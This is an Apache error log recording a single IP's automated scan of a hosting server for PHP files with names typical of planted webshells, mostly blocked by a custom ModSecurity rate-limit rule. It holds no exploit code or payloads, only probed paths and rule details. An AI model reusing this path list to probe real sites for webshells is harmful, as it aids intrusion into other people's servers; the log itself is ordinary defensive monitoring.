[Sun May 24 22:00:23.750903 2026] [:error] [pid 11368:tid 11381] [client 20.195.192.35:10233] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5BltUjE9CrY.php"] [unique_id "ahMEd4fq_sTmmtTKm1U3awAAAQs"]
[Sun May 24 22:00:26.067942 2026] [:error] [pid 11368:tid 11374] [client 20.195.192.35:10020] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/come.php"] [unique_id "ahMEeofq_sTmmtTKm1U3bgAAAQQ"]
[Sun May 24 22:00:29.104805 2026] [:error] [pid 11282:tid 11348] [client 20.195.192.35:9936] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/come.php"] [unique_id "ahMEfe0bPyN3C7HZ1R-oUAAAAMg"]
[Sun May 24 22:00:32.735616 2026] [:error] [pid 11368:tid 11386] [client 20.195.192.35:10165] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/come.php"] [unique_id "ahMEgIfq_sTmmtTKm1U3egAAARA"]
[Sun May 24 22:00:34.296998 2026] [:error] [pid 11368:tid 11388] [client 20.195.192.35:9921] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/come.php"] [unique_id "ahMEgofq_sTmmtTKm1U3fAAAARI"]
[Sun May 24 22:00:35.973669 2026] [:error] [pid 11368:tid 11371] [client 20.195.192.35:10091] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hg.php"] [unique_id "ahMEg4fq_sTmmtTKm1U3fwAAAQE"]
[Sun May 24 22:00:37.012683 2026] [:error] [pid 11281:tid 11324] [client 20.195.192.35:10114] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hg.php"] [unique_id "ahMEhZKmC9taWvA91j6KpgAAAIs"]
[Sun May 24 22:00:37.853873 2026] [:error] [pid 11282:tid 11358] [client 20.195.192.35:9872] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hg.php"] [unique_id "ahMEhe0bPyN3C7HZ1R-oVwAAANI"]
[Sun May 24 22:00:38.779299 2026] [:error] [pid 11368:tid 11374] [client 20.195.192.35:10232] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hg.php"] [unique_id "ahMEhofq_sTmmtTKm1U3hgAAAQQ"]
[Sun May 24 22:00:39.708861 2026] [:error] [pid 15835:tid 15860] [client 20.195.192.35:10201] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ahMEh2WbknYlUM9P0qPmlQAAABc"]
[Sun May 24 22:00:40.800206 2026] [:error] [pid 11280:tid 11304] [client 20.195.192.35:10018] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ahMEiIRn5s7laoSxy1QcOQAAAFM"]
[Sun May 24 22:00:41.685447 2026] [:error] [pid 15835:tid 15852] [client 20.195.192.35:10113] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ahMEiWWbknYlUM9P0qPmlwAAAA8"]
[Sun May 24 22:00:42.467654 2026] [:error] [pid 11368:tid 11383] [client 20.195.192.35:10168] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ahMEiofq_sTmmtTKm1U3jQAAAQ0"]
[Sun May 24 22:00:43.581480 2026] [:error] [pid 15835:tid 15859] [client 20.195.192.35:9995] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/at.php"] [unique_id "ahMEi2WbknYlUM9P0qPmmgAAABY"]
[Sun May 24 22:00:44.873009 2026] [:error] [pid 11282:tid 11364] [client 20.195.192.35:10009] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/at.php"] [unique_id "ahMEjO0bPyN3C7HZ1R-oXQAAANg"]
[Sun May 24 22:00:45.645932 2026] [:error] [pid 11280:tid 11286] [client 20.195.192.35:9857] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/at.php"] [unique_id "ahMEjYRn5s7laoSxy1QcPAAAAEE"]
[Sun May 24 22:00:47.905506 2026] [:error] [pid 11368:tid 11386] [client 20.195.192.35:10230] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/at.php"] [unique_id "ahMEj4fq_sTmmtTKm1U3lAAAARA"]
[Sun May 24 22:00:48.917666 2026] [:error] [pid 11368:tid 11382] [client 20.195.192.35:10047] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ff.php"] [unique_id "ahMEkIfq_sTmmtTKm1U3mAAAAQw"]
[Sun May 24 22:00:50.108667 2026] [:error] [pid 11282:tid 11349] [client 20.195.192.35:10193] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ff.php"] [unique_id "ahMEku0bPyN3C7HZ1R-oYQAAAMk"]
[Sun May 24 22:00:50.961825 2026] [:error] [pid 11368:tid 11384] [client 20.195.192.35:9948] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ff.php"] [unique_id "ahMEkofq_sTmmtTKm1U3nAAAAQ4"]
[Sun May 24 22:00:51.853659 2026] [:error] [pid 15835:tid 15848] [client 20.195.192.35:10206] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ff.php"] [unique_id "ahMEk2WbknYlUM9P0qPmogAAAAs"]
[Sun May 24 22:00:52.573183 2026] [:error] [pid 11282:tid 11352] [client 20.195.192.35:9940] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file31.php"] [unique_id "ahMElO0bPyN3C7HZ1R-oZwAAAMw"]
[Sun May 24 22:00:53.254679 2026] [:error] [pid 11368:tid 11382] [client 20.195.192.35:10137] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file31.php"] [unique_id "ahMElYfq_sTmmtTKm1U3ogAAAQw"]
[Sun May 24 22:00:54.066004 2026] [:error] [pid 11281:tid 11315] [client 20.195.192.35:10128] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file31.php"] [unique_id "ahMElpKmC9taWvA91j6KrgAAAII"]
[Sun May 24 22:00:54.835341 2026] [:error] [pid 11368:tid 11372] [client 20.195.192.35:10058] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file31.php"] [unique_id "ahMElofq_sTmmtTKm1U3pgAAAQI"]
[Sun May 24 22:00:55.502833 2026] [:error] [pid 15835:tid 15854] [client 20.195.192.35:9961] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Crypto.php"] [unique_id "ahMEl2WbknYlUM9P0qPmpAAAABE"]
[Sun May 24 22:00:56.203259 2026] [:error] [pid 11368:tid 11370] [client 20.195.192.35:10167] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Crypto.php"] [unique_id "ahMEmIfq_sTmmtTKm1U3qgAAAQA"]
[Sun May 24 22:00:57.155831 2026] [:error] [pid 11368:tid 11376] [client 20.195.192.35:10129] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Crypto.php"] [unique_id "ahMEmYfq_sTmmtTKm1U3rwAAAQY"]
[Sun May 24 22:00:57.818687 2026] [:error] [pid 15835:tid 15858] [client 20.195.192.35:10139] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Crypto.php"] [unique_id "ahMEmWWbknYlUM9P0qPmpwAAABU"]
[Sun May 24 22:00:58.616581 2026] [:error] [pid 11280:tid 11288] [client 20.195.192.35:10188] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/firewall.php"] [unique_id "ahMEmoRn5s7laoSxy1QcQAAAAEM"]
[Sun May 24 22:00:59.343755 2026] [:error] [pid 15835:tid 15855] [client 20.195.192.35:10229] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/firewall.php"] [unique_id "ahMEm2WbknYlUM9P0qPmqwAAABI"]
[Sun May 24 22:01:00.033772 2026] [:error] [pid 11368:tid 11370] [client 20.195.192.35:10177] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/firewall.php"] [unique_id "ahMEnIfq_sTmmtTKm1U3twAAAQA"]
[Sun May 24 22:01:00.838435 2026] [:error] [pid 11282:tid 11352] [client 20.195.192.35:10228] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/firewall.php"] [unique_id "ahMEnO0bPyN3C7HZ1R-obAAAAMw"]
[Sun May 24 22:01:01.571939 2026] [:error] [pid 15835:tid 15857] [client 20.195.192.35:10187] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pi.php"] [unique_id "ahMEnWWbknYlUM9P0qPmsAAAABQ"]
[Sun May 24 22:01:02.272764 2026] [:error] [pid 15835:tid 15848] [client 20.195.192.35:10221] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pi.php"] [unique_id "ahMEnmWbknYlUM9P0qPmsQAAAAs"]
[Sun May 24 22:01:03.120595 2026] [:error] [pid 11282:tid 11356] [client 20.195.192.35:10115] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pi.php"] [unique_id "ahMEn-0bPyN3C7HZ1R-ocAAAANA"]
[Sun May 24 22:01:04.126187 2026] [:error] [pid 15835:tid 15840] [client 20.195.192.35:10210] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pi.php"] [unique_id "ahMEoGWbknYlUM9P0qPmtQAAAAM"]
[Sun May 24 22:01:04.796212 2026] [:error] [pid 11280:tid 11299] [client 20.195.192.35:10184] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/testphp.php"] [unique_id "ahMEoIRn5s7laoSxy1QcRgAAAE4"]
[Sun May 24 22:01:05.460539 2026] [:error] [pid 15835:tid 15838] [client 20.195.192.35:10117] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/testphp.php"] [unique_id "ahMEoWWbknYlUM9P0qPmtwAAAAE"]
[Sun May 24 22:01:06.154179 2026] [:error] [pid 11280:tid 11308] [client 20.195.192.35:10066] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/testphp.php"] [unique_id "ahMEooRn5s7laoSxy1QcSAAAAFc"]
[Sun May 24 22:01:06.820017 2026] [:error] [pid 11280:tid 11301] [client 20.195.192.35:9966] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/testphp.php"] [unique_id "ahMEooRn5s7laoSxy1QcSgAAAFA"]
[Sun May 24 22:01:07.648359 2026] [:error] [pid 15835:tid 15841] [client 20.195.192.35:10142] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "ahMEo2WbknYlUM9P0qPmugAAAAQ"]
[Sun May 24 22:01:08.477920 2026] [:error] [pid 11368:tid 11376] [client 20.195.192.35:10126] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "ahMEpIfq_sTmmtTKm1U3wgAAAQY"]
[Sun May 24 22:01:09.099304 2026] [:error] [pid 11282:tid 11341] [client 20.195.192.35:10042] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "ahMEpe0bPyN3C7HZ1R-odQAAAME"]
[Sun May 24 22:01:09.894983 2026] [:error] [pid 11282:tid 11360] [client 20.195.192.35:10197] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "ahMEpe0bPyN3C7HZ1R-odgAAANQ"]
[Sun May 24 22:01:11.163115 2026] [:error] [pid 11282:tid 11357] [client 20.195.192.35:10146] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "ahMEp-0bPyN3C7HZ1R-oegAAANE"]
[Sun May 24 22:01:12.131503 2026] [:error] [pid 11368:tid 11373] [client 20.195.192.35:10134] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "ahMEqIfq_sTmmtTKm1U3xQAAAQM"]
[Sun May 24 22:01:13.255367 2026] [:error] [pid 11281:tid 11328] [client 20.195.192.35:10118] File does not exist: /usr/local/apache/htdocs/suspended-page/file6.php
[Sun May 24 22:01:13.581453 2026] [:error] [pid 11281:tid 11320] [client 20.195.192.35:10118] File does not exist: /usr/local/apache/htdocs/suspended-page/cabs.php
[Sun May 24 22:01:13.908523 2026] [:error] [pid 11281:tid 11327] [client 20.195.192.35:10118] File does not exist: /usr/local/apache/htdocs/suspended-page/file15.php
[Sun May 24 22:01:14.221477 2026] [:error] [pid 11281:tid 11316] [client 20.195.192.35:10118] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Sun May 24 22:01:14.533931 2026] [:error] [pid 11281:tid 11331] [client 20.195.192.35:10118] File does not exist: /usr/local/apache/htdocs/suspended-page/security.php
[Sun May 24 22:01:14.846606 2026] [:error] [pid 11281:tid 11335] [client 20.195.192.35:10118] File does not exist: /usr/local/apache/htdocs/suspended-page/title.php
[Sun May 24 22:01:15.262604 2026] [:error] [pid 11281:tid 11315] [client 20.195.192.35:10118] File does not exist: /usr/local/apache/htdocs/suspended-page/N1.php
[Sun May 24 22:01:16.119031 2026] [:error] [pid 11281:tid 11319] [client 20.195.192.35:10118] File does not exist: /usr/local/apache/htdocs/suspended-page/no1.php
[Sun May 24 22:01:16.431906 2026] [:error] [pid 11281:tid 11329] [client 20.195.192.35:10118] File does not exist: /usr/local/apache/htdocs/suspended-page/.sghb.php
[Sun May 24 22:01:16.744501 2026] [:error] [pid 11281:tid 11318] [client 20.195.192.35:10118] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Sun May 24 22:01:17.073061 2026] [:error] [pid 11281:tid 11333] [client 20.195.192.35:10118] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "ahMErZKmC9taWvA91j6KwQAAAJQ"]
[Sun May 24 22:01:18.357758 2026] [:error] [pid 11368:tid 11392] [client 20.195.192.35:10014] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "ahMErofq_sTmmtTKm1U3zQAAARY"]
[Sun May 24 22:01:19.111450 2026] [:error] [pid 15835:tid 15859] [client 20.195.192.35:9866] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "ahMEr2WbknYlUM9P0qPmwgAAABY"]
[Sun May 24 22:01:20.040767 2026] [:error] [pid 15835:tid 15851] [client 20.195.192.35:9919] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "ahMEsGWbknYlUM9P0qPmxAAAAA4"]
[Sun May 24 22:01:21.160647 2026] [:error] [pid 11281:tid 11314] [client 20.195.192.35:10214] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "ahMEsZKmC9taWvA91j6KxgAAAIE"]
[Sun May 24 22:01:21.839446 2026] [:error] [pid 11281:tid 11321] [client 20.195.192.35:10006] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "ahMEsZKmC9taWvA91j6KyQAAAIg"]
